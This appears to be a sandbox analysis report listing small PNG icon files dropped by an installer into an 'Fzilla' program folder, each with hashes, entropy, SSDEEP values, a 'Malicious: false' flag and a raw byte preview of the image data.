SHA-512:	11C07494C17EAEFF8751EA83A3B067A38925F98729656B3324E30D3F6CE96C1678D15328673F0B7C48EB0738474B5124CC4D76DF8A437F8A87EA92C984A29A95
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....t.i.....=\...........Q.......f;~.K1.$s.y...9.~ybp#e.0..k..\..v.0.>.#&..>..b......>.Q9..R`=.[..a...B....+.....`..G..4.4.d.v... e.....`..DL..,h.yu. Z....1.aL...(.i.wf\|{.......8..C....`[`,....2....=........Y.6......%G..)0.[.YY.N../.....x.........v..F.....W.d..h9.N\|...ckaY..mxY.{.1#........f...8d..P...ux?.........2.....H..{f..t........Q..Q.@... @.....@8...R..H..t3.9#.....#.....H..:j`.............M...is.H.D.....F..c....T8...iB..Ni..X.....=..p...C....}d.....x.7 \|$...-..1..]..<.z&...g].B...L.R_L_<.._..E..t0..d..e..h..5c..2.@?.-r..9.r.g...aC.d.n.W;.....\|....<..>..N..Lx..../s.).y&D....K.G,R.^7.....r.~....Wz...=.0.J.R.G........c.".>(a.').\|.be.)Fz.bd.)V..<^%adkE.......v...S.s...l.{.....n.@2.y 0+.....\|z...+..%/...... F6l.f.Z.t..........rDI..{'...U.h....A.'((.\"....5#..}....[..Q....DS...Kn...+.d..@.<.iC/..j...c.4..<....KW.:.9....G.y....Q9.//.\i.f3*DJr.......\....~.....;..0..6t..i.f........{oy.c..x/...7

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-MBAPH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1680
Entropy (8bit):	7.8410935978420735
Encrypted:	false
SSDEEP:	48:rIur1SBz5n2rErXncs0HT/H5+y/zy+rYjeajJg:rIur1Mz5nfnc5/zy+kjea1g
MD5:	D367B5F46042FF303993E7A1CC309435
SHA1:	61B8BDF88A2EA70BBE06F38271A422CB8B4CC2AB
SHA-256:	4D08ECA18C2DF1852577174569EDC965D4125E91DF590737A7C8CCD3E291C006
SHA-512:	8EA30FE58993BBF950CC474C88D52CB91ADB1D6875B7E7CFD83C9C72024C8995715BB4660E5F4C455030ECE4005A0D50F2A2E9E00EF75318C8D685D3BF839389
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....WIDATx....t;{....m...bw.m..w8.LR+....m.Jc.v.{.A5.c.9.3......-....x..i.....E........^B..QR...N.K.m..qSR..x..H...(....U6.9....M.+4..(C.?t?.(.L..i..{....!.!....P..&f...'.m`}....<...GA.i....n.../VH..R.o3...5...k..3..^k....o\\|...Z..i..) (.O...........\e3.)..+.Fv....y....Ur.4J.Z...s...;DP.......~..LKK.JOO.lJJJ.r........Pjx...A...Ye;N]....p....)......u..5.......GauR.K.3../.'.MJJz.N.....w.... -x.........y......(o..F.V....p......L....q........v....)1........^...B;N.#,8..D..<.)N~{.w~.8.d.xS$._2m.2E.....3..:[K.k..X...j..+....:.s.[..W.......:p.c.~..{...7d.w.....y5........8.s..`.~-../....0..?p...p..8._........."..&.....}.p..E....../.....o....\|qq.+.U.P.1bii......SG....,o....V....M.c.r]Q..z...(:LI........"..&....bd.b.l./.SN..1Wx..2.F4....{..].?...P.:.`...O.E..;`..3.L........u...F4.}../...?........M....9SjE....Q.F./.j....J.VY......O.............Br_.W_.E.(V...R_. B.O.l.=....r(bD.......w..?H...Bx.\|:[j.5biK..I.p5U.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-MFMVP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	970
Entropy (8bit):	7.731615254815511
Encrypted:	false
SSDEEP:	12:6v/7io9LBFKgquOLdRq0SQwtlcntjElpmxfLKJw49ve70cln6JMVg69O3To8Gglu:6rDrvtgApcub9vm0c2DDPGglkbBY2
MD5:	88F4D2A39C37B399396E848028C94CA8
SHA1:	16E9EC3070B1412E051F65ACC371F1B1201DC7E1
SHA-256:	8B82DBB8E5F0E61762AA7ABDDB15BFA85567681B519BCFA5CF275F8AB6FE853E
SHA-512:	28AEB5E1A4890BC93309F2B5910CEE451027BA2BD8D94CAA4FE361186CE47C5D51B94D4AE321E0FB00BADE1142D1FD7FCACF9A646922D32D46346122CE3B106D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....kW......j.k..gl;..fl..v.m...n.wsjD..Z.../....nj........L..H..].n.q............G.....FF.....:...QE.....Q.NQ.......{(.......}o.g>......Kl1..$....3Q...7....o...g....?k....SV..gV.J..R;.....1.]aHj......&.....G.UG..%.1c;.$..B..?_..Z.n./..O.3...B....y..`..........1.:4.>N.<.^p.k...B.v.6.o............b.@R....C......]K6...6g.2..ND.!.$.Q;....C.K.f...c.<.km..\n..pND!.1.f........P.KLA.3Qd..(.....[.........j....l.(....W:..(g.T4:......R'.fi.I..x..C..q...[....f...2B.m@.......J.S.y.k....)......z.z.>.M...[..kV..x..<..8!\..:gm..i[.jx...9d....'....IH.x_...x..E4....`....._.q..eI.b.k.f@....-.C.....pxM........U.T/.\|UK..@nm.i...W..[..B.b(.........+......\...*......f.....edo.........).@.%?......Ho..Yog#.....q.......Z&d$xk.O...N.{\|.YON.4.i\|y......%".Y...>.gq)........x.........=...k.H....z..g..@..%P.>...........LJ..+...S.\|^l.~..........)>."..TJ....}.8B.{.&.....W&.GL..R.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-MJSDS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1798
Entropy (8bit):	7.86861907620222
Encrypted:	false
SSDEEP:	48:QHEOgA5wRHF+IZFfK2FVgdW/HezrnnATA:gEM0F+E7FVAnCA
MD5:	0E1DF805D31BCBDB1A9B06D7427FC7A4
SHA1:	224419B0F854D20A34627AF199328F5F437220C5
SHA-256:	3DA003ED224A867F683B533B4651901E48F1154E1007F2FF48C8D0D31BABF191
SHA-512:	D377F38050DCE72D8CE9E5A61C3A6E3D6EB654D9D77BFB6D76435448E539C68D3F2381E259BDA146D3C90FCE6CDFF55241A06F3EE4606F48500505271E9EB559
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...Ut.Y.....Z.E.C.9L....af..effff..2.3.Lx.;c..buK}k.;.W.'..;I.t?](]QU.z.G?..E.}s...>p\.dw.eK......[r...].,Z87p...w....p&..p..{.z......a....e....8n.....j...'..!....`bi..i...EG..9g....y..4C....o.0.../........;=L$h....3.%bA...l.!.%.3..r.....T.......Rv......:.8.:PgO....N`._>>.....2..1......T\...%.F9.'....h<.\C..4..h..M..&Z..m..c.......[.....h..X..\7..x.L......D..<..Y<.+....'>..'._..Y...r.b_..9.....f..P.}P\w.z..D..?.-..T. .1.:.......,..[~.<olWQ`.H......../.<..3l....w.$.....s...6(b...n..+.co..Ng..>8p...^...u@..I...O......3.R..[=.Tv....Q\|.M2..y...~"./c..........hg.i...{.6y....x. ..0.n8.jy......% ..U...Sh.....v.q..K<...h.....Xo....D0bE,K../8.+.o......~......q.j.F.3....p0.O1.S.m.....l......=}ajc.3M4.=..-...s.#..Vlm..).Fu...;........][.......u...av2..4.\|.=B9.W..\|<k.l.bYg'oZy..<...366.w...].....f.>.....g....z..b.....s....{..Y.x....^....:.=.K?..E...T.~_.<.V...x..8.......}.......=>#.....<.k....-h.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-N691S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	953
Entropy (8bit):	7.756432182810883
Encrypted:	false
SSDEEP:	24:aZUcAKDlSPHLiN1zSb78WnyJhH2IbkKUoQL:aZUcAYBS78WQhHlkLzL
MD5:	7EAB972BFFAC70AF18AD32F173C38EE0
SHA1:	77B68A0BE77B8EF049F22400D83A53FF8F17109C
SHA-256:	0139736F1E4A1B9D867C34A97AB343DA4817E5C9B6027859A4CB16DF0443F476
SHA-512:	253D77D11D7FC437E968191A9B3D4D28B66E1C30544D65BB1C2E77C02BF6D6E35579676003FEFFDC63BE83BF2FF408DC970CBADEDB45E9FBFCEC39309A321708
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...lG..o.M.]V.6.8.@6....6.m.m.o.J.0NF.....;.U}f..._..'p....$..S..N.^=..k.hjy.I........{.'..X...RakHr.qMg;...........<#...7X.w.p.Iz...oT..@.@....@FI.d..Cq}-."...~.Ho7....w...."p....2.`mW.T.6CTZ..%%@Xr...../..b..G..3q.,.XJ`.m\.R..X.KO...'.LM...o.Ze.u...+D..7...H.0...o.....%.....d.........T H....K.....j~....E...]...W....A.q_\.P.............e.A.{x<.`..8!.cCt..-...?.g.4Kv.uX..[...D..0.+.%...4...{M.'tU@...=.\RW.b3.Q.BO.&...U.m.....<x.6....).....l..{.A.=S....Un.s`..^... 4...]...$.l....S. .n..[.[.....].r.....x.,..S..#.,..{.t?....#..r.+!...wI*..ep...@.I..@fE)04..L'..m..TH...B=.h.....E.?>...S..gN..w.[..-...+P\]....$./......_...kY.Sd#6#./n..:.i..C......-Mx....57BFy...a.!...R..A..b.\|E....#..c.#._[..d.<.79.P..Y.........j..}.=<.....Kk....le...y...,....).E..@;..]^XU...cl......0...._].8.].e.........t.......t...F.F..U.^.....k<.\|$...t6....D..s.........~e4.[."....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-ORCL1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.538330163979
Encrypted:	false
SSDEEP:	12:6v/7i14yU40frCFdr5MCP8bdjbdDF92ogFh0RKEkXRKcJLiqWcgG:gyUBrC1RP8Jj1F92oqheGR1jWc9
MD5:	FB2FDC4B0D0837F0F0CFA7284D9A0327
SHA1:	7FCF5F7A0EC2A558A6F49E679C4299F9A2354B0D
SHA-256:	CE8EDA54D26DDB11D08C134AD97AC3DFE3CA06EB5AA2897F15DCFAE2A6699C07
SHA-512:	91DEF83DB36F9130C84E9B0C29FDC9161197F7B1F2821A1C43F8731209481D9E9EF17625DD18EC6359DBF50AC3B0F6AFEB24199683E01A2642EB4C63B7506678
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....0IDATx.....\a....0.Y.m.....A.......FP.v;x..^.y./<....Q..-//O..c...+.....l..f.N...g........S.j......%._7..o<k......@..%3n.]).A....di........}.........g.....Pg ).r..R...Q.8A..>/.E.G".^.E.N.w@.F...W..$\.~.>....=.;.....F..7.....?.(P.....jD..(t..B..J[7.....8....B..9.......x...8. X~Xa..m@.m....4.......gt.6.r.>...\'...q+..J...Tg.'1..u....h..8.c.U....A.I_._r..IP.p{.....U1.F.^.Z...Ni.'E.....7...BI...(..H...T~..^v....F...Xx......-.+.h.Lr....b.....0..!._.y.`......F...g.I_......J..(....J.G...M3@S.04....}...t@u.$...07i=jV.* ......@wC..`..)B/.....F......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-PQJS8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	406
Entropy (8bit):	7.168478964942289
Encrypted:	false
SSDEEP:	12:6v/79/2o6b8abUTTzcQdgKvIzefdHHJjELq:+21bxbATwQgKvIzGnJjE+
MD5:	D47E44124D8496F65F1839BD33D1983F
SHA1:	A89293B03BC1468CD86F7A7FAECCD701F2DEDB2F
SHA-256:	0EB389A2CC721FC85368286409AE1E277CF885A910591EF30170FA60A0742AF6
SHA-512:	AF95D486DA824400805F3457C913B917D415082208F324CE8C18D96F10F88C929204CD041168D7BABBBC79E2CEA54B19075EFF232ADB31B427FA6B0E356BC2B0
Malicious:	false
Preview:	.PNG........IHDR... ... ............tRNS........y"...KIDATx.b.w-M.0.`.Q.......n.Q.E.wmsl...m...........y.7P......>6.(.r;'go..."@.18z..!v.......=.\|x....+.99,..g.g....o'..G./..O.w..7....[.7...ln.[.....).f\$....$....x?#.$.\........p2rm...'2.'A.LM..o[..&"...I"..ANr.9.i.P......m.+Ia..........E....pY.E....."..&....x.....F$...M$-&...(_`:<$.W.P.kj:\|4..Z.G....{..v...U......I.*.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-QBQMM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.802272783004605
Encrypted:	false
SSDEEP:	24:WkcPnp0l9Kxs/XivK/6rTqhPwZWjkiwsm2VirvbcEniI2dY692uN:UnSYSXiUYZWoiws7ViDdn52d5N
MD5:	454C4F6D1F553429CCEC09E6CB696BC3
SHA1:	F43D1A1969C86D3267503BDFE831CA90FDAB7AD8
SHA-256:	04016DFB34D195D077E8A6FF5BAAC808194B036F78280F07185FC2663352E414
SHA-512:	F3BA490EA189107145B1DE9456FADEF80834A5C2B3D3F446C69F262959EAB11F5099CD62D49E4A8E034637EE9A2078B52AA39B93F4D51EDA3F7DBE87AFF10242
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V...I.....m..wv.U2;k{..5...m3.m..;..I......+.p..>.............y..8......_,........I.{d....O.bbb@(...#....$.=l.>..W_}5..>{!::.....C....?E\|d..0.r..h4.P(@.B\|\|<.......\..\]]....z...:...@.O...Ann....@vv6899..?.....7...R?...iKK.~.4.77...P022.y......N.~.>.G...:.//..(.IGG................9C.>.:.CX.j...o.C......;E\|d...>.......zDmx..KR.(9.9N..9.D.',,.0...0.p._S..s.d...e....6.Pyr.4..Md...+c?.VK..~7..@.p.$0.-..6.2<a.0....M.>.O..}.`..v9)r......c9...X.?.W.+O..e...]W3.\...P3}..2..+.rP.{...S......... .....2[VV.4.R.F.b.....du.I+......o...9-`...qXH.Kw..r.\F..W;.R.g.@....G..a...s&V..._..Qw.b.2..~...^....g.gr.8.+.?..\|..O.3.P....0.f....D..h_..b.0.....I.T....[GA'....]..?..lT.`.,.k\.]9x..AX^+.Bb..,...j...:Yi...WL...... .3.!<.....t..u)........l...\......vpS..7....c.F..=.....VC....WE.9.VRi..`.D.....E.......W.....F..l..y.>,.&.._.,.d.?(.*l?7c...MkB.d'+..V.....[c..(.@_.n...s.D..Rj.6:m.W..l.'.....H/[E&m........F]....'+....F.(8.E

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-RDQK8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	7.766538782080157
Encrypted:	false
SSDEEP:	24:9PZF5Uj4R9X8uya2xBrUZPbQJSshYWiXswaUTTjnqZbDO77:9P7XpBwB2bQJJ2qwfTWU77
MD5:	239A42D07D720EDA43D6532971027B49
SHA1:	3D90150411805874442066A0358B7980C68F8688
SHA-256:	2E61CF4440B02B404E6FC16865A8604E0F1234290107CBD701660B6A0FA87294
SHA-512:	110CC80523CE6243D1D5F28B5409068D9D9B350AE95806342CFFACC6F37E4C22EA319D3491AD3556AE19F94E72D2231B05C4E6AF82C4342D1F4E28C076980487
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....VIDATx...xcY..O.m.;..M..dl{.&....m......v..Y.Xo..y.{s.....?P.!U..M.P..9.ob....<..4Q.z......^...G.i6-..^.....No7..A....G.P...v.]a..[....y.nx.J.J..;.oc}.5.].....1.x..n...W\...Bt......R.:..c6}...._..7/q...X.......X.,......-...K.....g$...5...^5 .......:t...6a.g....@.....I.9.+P.z.F..BWG.c.Z .'}0.c.z.........p"..>}..G. .:.a..X-<.!kc1i{..l...-q..=...5.E..e...].14.%...(.../y.b&4....4 .k_.&..[..........q...t.../.....qs.qA....I...S.D....@_O..6m.fj.d3s$.`.G.x..gP.9.......9G.`.}...cp\z..V.}.eL.G..3E.l.u.....h.....H21.z..D.%...JV........1....'..d.' ..x..H....RQ.....Om..\|qh...)...}.h=-....jO...R.L...._+/. F-?...H...bzP.SA-...i...S.5Gyb\....MW!...SR...T.~!;....B_..Z.o..f=..0]R1.TP.P..:!\|.S.g.R..Z.0{>...s$%.8....)`y..{sw..g....3..).;;...5....PAM...Ds..n.B}....z............\|..I0..U.\|.1...cR........+.]C...B.F...Y...B...!8M.3..?......`2%...k.C.....=...":..?D....8p.;...8;;C.P@ ..%e.e....^.$....%.....b..R{..P.[l.%.....

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-RUQ0C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	620
Entropy (8bit):	7.505367665097406
Encrypted:	false
SSDEEP:	12:6v/79/t4UPJJi2Dvf4gdRLyeZyHmjw14uKWbpKWKwbsO847MC50gcz:+t46JcAAgdRO+yH2w14uKWBpu4l03
MD5:	1FFF5A25310A2F0E9AADF07D6DBF55B3
SHA1:	BA9767BC9451CFE172891DE766A63461AD2EA4DB
SHA-256:	D2A2EFB6F4F3FAFBDCB6BB91975C69D90000F9DE16DC7C74EA197534074C60D8
SHA-512:	14856B3E1F9E59F2244EEBCE93D5637A79C9845BC38913D3897505EE688C6995342D26833394C07027857FAE14122F79895BD5D8596345E17FB1384F15F389FF
Malicious:	false
Preview:	.PNG........IHDR... ... ............tRNS........y"...!IDATx.b.w-..M_N....X.PAnj(###....B.".!"/.}...]'......@mU..5../....{.\|..W...a.wzMv.I~..g;.T/..T...........J<x.r9.MZ.,1...N.....a..g..y.{(p............`..M.N.X.cY....^.\|.g\..09vl.Rr....6...gtYSL.........44..\|..}.....~.../...Ay.G..6.!..P.h.0.`..Q9ar..3.+.H..../.%.4.0n.$...(`... zg.'.Aa.o....!..3..ne."$E.:X2..A..oSM....e........]Y...U....^.x..E........$i...j&6r..~.R%3.H......L..d.{..b.iY....._H......yh...N#......V.qH.$.u.!.!@8.).nN.V.rt.s.9........G.!..<V...o.J. %.J..(1PF....$...Xi.U........p#j..8.....a......~bz\.....i...:.G..!/.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-S5IG9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	954
Entropy (8bit):	7.706792407041953
Encrypted:	false
SSDEEP:	12:6v/79/bIPOEQSS1xC5zF6xxhq1HGQ6yRQZpnCO+kp4hznYTnD6VVSx+jm+GJQv0R:+bI2EAUshUmqGZpDD4hzYrDWVO+V06wD
MD5:	B0EE00074CB9D0A3DA4672C658FC88A5
SHA1:	4C5C919F3BB49102859D2A9B5F6D03EBFAE5B77A
SHA-256:	361555AC4D2A9CFB5B68E486A82AE4B37C3EA2F80ABF75DE878C74A0DE121522
SHA-512:	D4B0A05D201F19ED3973E1750233399F4D534FF24BD92CE79C518BF176BBF2CAB9FB273C3A2CF47972B1B88C24FA016132C04C21C64EB13A8F0194FB3F8D5653
Malicious:	false
Preview:	.PNG........IHDR... ... ............tRNS........y"...oIDATx..V..4I......7..Bw..m.Bg....k........./&..U...4UT....@.?A.EY..J........+_.>..;..?3~.=C11....11... .._......v....E_``_p.@X.PT.u..:...{..:......\\Z...h...uxz....f02...u%zY.F..`.5k4.Je.LV.......m..].........}+=.7<...E..Pw...,kb.....r.........=.K.sR.bb,.....;:..DF.. ....R9q....!.....r...E.....;..:Pz_xa..z&!A'..h.0..u..BA....\|.....o0<\|..u..._....N"....D.M.]C..t..... .j..:..Y............$iT(jy...b6-..q.z5M.f&9....\.H.0.....<....J...Bq....fb..G.8r..o...q........m`..e.W.(..........X....0 .,z;;.....b.T.A#.....K..g!L.........<....x.W...BO@....n....P..C...\4.k......_$..=w.....lQY.Z(*:.e.....7../3.5.?8..)v....... jX...B...&.....tX.`$6............C..>p..D.....C..'.b1......'.\.T......>>.f...+.....$h.Zu=...........W&X.P.p_....3.t..y....P.........lD^.r.....=.!\....6h.?:==.$8l..3..t1../.QA..I..._&.G.A. ._&\...0.........<.4...8..-........J#f.6I....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-T5AMA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1436
Entropy (8bit):	7.786160277294313
Encrypted:	false
SSDEEP:	24:vC9HCs+NQmVk4C/jwGRSxF55c/1s1ITOvvboAcVlv+Q0WczUN7YZ+raPTYy9Gddk:Q1+CmOP/jwMsZI4/8BYZ/PTYymH7hW
MD5:	A6A40A9CF3DBF6ED6499A8C941D18964
SHA1:	90A6EB1FFBCE4A8A694FDC65243EC2D69BFB6BC1
SHA-256:	2362E457D25CD18A76A3B8CA564AD4BAAD8E2A7EB89D4F8F9430602BF49A6308
SHA-512:	284F3657A9F39DA147386F2460DB745DEFBBE19AF8181C076483728201B0C8A5FE42C6741F6CA54EDDD0CCD2EEF5D1AB4CE95002277654C45C0BA2BCFB3F9A58
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....cIDATx....p,].....}.'.`..m...Kk{...m...\|.G.....R.T/oJ._......Yv.\|..,...O../.XN0.j.>{n,.4.t...t.O.f.A.322.MW]..>.b........?O..i.#~..v.h......,.R.F...(".2.#.r....T.@.p..nG..s....\|.....\...`\|z.8I..\|..~..G......}....CO.P>..O.....h...X......C...<...u.u.F...]=..{t...(..@..[:.)...m..Q....r...~...Mk.;`..4p..?Ng....uU8.V.(!.. ."..@..$.r.g...t{=.V8f]....a..).b..GGVcsD.-...'?...Q...Z<f.]...W..c;.bE..B.../.@.w.....1.^..u\|...a ....sz..;...A.^A!O.....VY.....*. (..(....>...V.Q.........?....(..."..MC.(..![..2.Xt.m.}q..[.....`J%.%...;{y.)w...g..mK.......... ..D.q.Ic._.....P.[..F...n5q.......J..$A...4.{.w..[1n.o7...QS..(...0.&../...On..On..&.6.&-... .....N...n.....7.<A. .....".a...v...f.h...>%Y.h8."..b.J.{.h.kW[..s.....f.~..ja.\|....t.)...K..nJ!...-a.6L...~Au.V...W.{...........w.. ......]...+..n.a.....^lY.O^......<.....n....\|..?...xpx$....)#._zm@...4..Y..C...n.q.I......N.OL.....;.~q.wer\|...S...=7.c.:..S.....t:1Y

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-TCURS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.835964632176258
Encrypted:	false
SSDEEP:	24:ae1LfmAsJ1MLwO53Pd5sosw2Ca+N8NWcNT6aXyp6AfMYn2Ik0KgO5BM7WHIvG2u/:yGRZPd5f4Ct0WWJXyVRnw0KVfIvk28l
MD5:	2A9777860B33ACC15E7B54F5C0D22981
SHA1:	FCFCD83382460DE3C67DB0B725244322365D402F
SHA-256:	F699822F96B5CE2389D735C3057961D1EDBDC405073DE37F02AC15B1D82E0AE7
SHA-512:	831F5D6DE4801958C4B01AE4CEBAD0F72F4FF7E2FFC521D9815F0CE59690FB472DFDB3F3A8484C62F2321A678837FE27E9B1F33B01A1AC1E292E30DAE081A390
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V.tk........m.m...ml...2.m....<.Ig.l.=.}.\|.B......N...b.$G.\|.#P..#.......n:.jh.3.....{.b..M.....'....^B.:....L.9....Q.Ns8>...{)...]:.=z......{.]S.@z.a.n.Aq....HQe.Y5Q.CZ.2.x...0><..G=..F.f.....n ^1....j...pS.2...........;.z.>..F...........~.E.>}.{.>$X4.^....x(...:.M.T..m.Hs.=...G......g........sEa...x..a(.'Bz\|.+.^918...epeAR.yli.`]..)..'...j.b..........n....:v..`C..k%N.8kD.b.?. ..<..w.IKs\|&B..g...`..C.9......b.........k.d). .4..K.V..:"dS..t....=.N.Z.....W.....\..lj....%$.g@...^.Z....M-nlm.b...`._G..9T\T#w......T.H95.+.H.v.q.....=..:.nu.t.!..@....$i.qlR..1....R.@\|.Q..jA......Y..W.8.R.!........,k.T.O%.i....86........:.(s.Qy...V.R..o..._..........T..m.\w.\{\|N...c3.......^.s& Q.F..:x....T4Ak.?...[..^z/....L..I.H}....b..fn..[.....u..Z....J.7... ...>........]@z...C':.P..:O..S`..z.v..H.=.....6..9x\.Y.@.?.Ur../...........7.#Cy..#.`..!..h..0...#.\|5z.7.\|...z..v.-8.n'I7.B]....OU.....%...&O.........o~..].

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-U938V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	407
Entropy (8bit):	7.168809466358561
Encrypted:	false
SSDEEP:	12:6v/79/9pC5tLkvXV1Fl4+aft7xvpWeP3vwYR9:+9pCjLkvVbizfVxB/I69
MD5:	5B5BABD6635C9D179498A34C986BD4E1
SHA1:	08A9D2EBA83207FE4BB1CF877D45E403CA72D5D4
SHA-256:	039733DD7BDEBDADD267A56A5DAC00E973CF38F44BB7E8E460B5DC44D4918501
SHA-512:	83538E9B2E0EA277B8ABE1F15AD9093A5240C41BFD613156D48EEAE007A412E771657972B38FD080670B8B23BB0B0D2E802B27E791C94D669CD5BCD08FE19545
Malicious:	false
Preview:	.PNG........IHDR... ... ............tRNS........y"...LIDATx.b.w-M...`..\ .....^.v..}...1.....>#vVQm..m[...$.1.;.4..@t..\|vyM.q....Y. 7.....#U=...... .5=G.F.m5\..M.,..NL..@B.;..>9..8..L..1..z....?.._.:..6)X^..wS.\r..%..m.`.{.L......C....}p...A....sr."\|0r..........o.....~...@....G.../............c,K..p..`.t.R...S.d.C...Q$4....B.I*..v"F.G.."I.P.T....F[..............{.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-UGLEN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1629
Entropy (8bit):	7.864089076601816
Encrypted:	false
SSDEEP:	48:Xia1MVzPgjRWDJhqUlhvDElymYv+7yoD74I6ZjRfnMgQ:jkkEJhrlFmY2uoDgjMgQ
MD5:	A2F3344E4EE0B29493AC0B8A91D9D901
SHA1:	28E56D253BC9289A697BF2B9485781EE1850A51F
SHA-256:	D91D9890D112C0D7C2D178572A5ABAF29A954011E2FD1E9ADC57EB7B31F7B5D2
SHA-512:	465C6C8B5435FDEBC973C8E0A2C4DFB5F417AAB7303DBE3ACA353636FFBF8D03E59D48F128D3CE26C6E180ACD0DDD683776DC9520E60BEE85A884ED8F34AF884
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....$IDATx....t.Y...k#X...9I.3.s..Fc.Vl..m;U.F.&..>.{.1..s......r....Zg\|..yaxr.?8.3.o.s.Ad...gt....}...l.s..r.".r/.5O.M#....I.0>c..u.g...G.~.U..'..8{%.y.U!u.S$...S]..h..H..B.D.yF0K..rm.xMm....T....C...8q=..)...k...(.........Q.......G<..b.....z..4U..Q..T.a.Zl>T..#.0.L....\|...O........T..F%F.N. ..-...?...#.X.S.....W....U....C.s/.Ku.j..1..A.p.VG.cYx1L/..Cqf.-R...`...T....Y..X..C.L.6.....R,./...Y....KE!...sz...V....i]..P...b,........o.W..p..e....)...@).....$s@....ZJA..F.(!...ae.E.NJ.In....A.=...n...gTK.-AxJ..."....4..;O4Q.W@.y..S.XA.`..:.E.:...5i.)..e..uN.ex0.m~H.-...e..3.....{.3xG+.%.w.......N)..4a.d.!.j..F.....Yp...w..\|..N. ...=.f....$...g.~..{..`.e.......A[.]..cI).. .....r....9u.^H...\.^..;....N.......d..2...e..MZ.3j...!...gfs!.L..8m.n79....v.".X!..H.t@...U>3u,..6.{.I[.......`.1....G.......X...<.\|..\.q.0..=o.G.._....._h..l.......Y...7ki.\|..>....\..V%.`py...s..H......7.!...QA....A..x..2.......iC..Q.U

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-URGAN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.850966052992087
Encrypted:	false
SSDEEP:	24:mr+DqtXYOnOe4uqAUtTWHNnlytDHtUyflnzhSsliCyG6R/S7gEXjc:mxfnOe4uF2UnluDmAIiDyGJgr
MD5:	713CC599592756C35BBF45B3299B42BE
SHA1:	6EF0E2B30E7297625CEEAF572B6E252BAD953A72
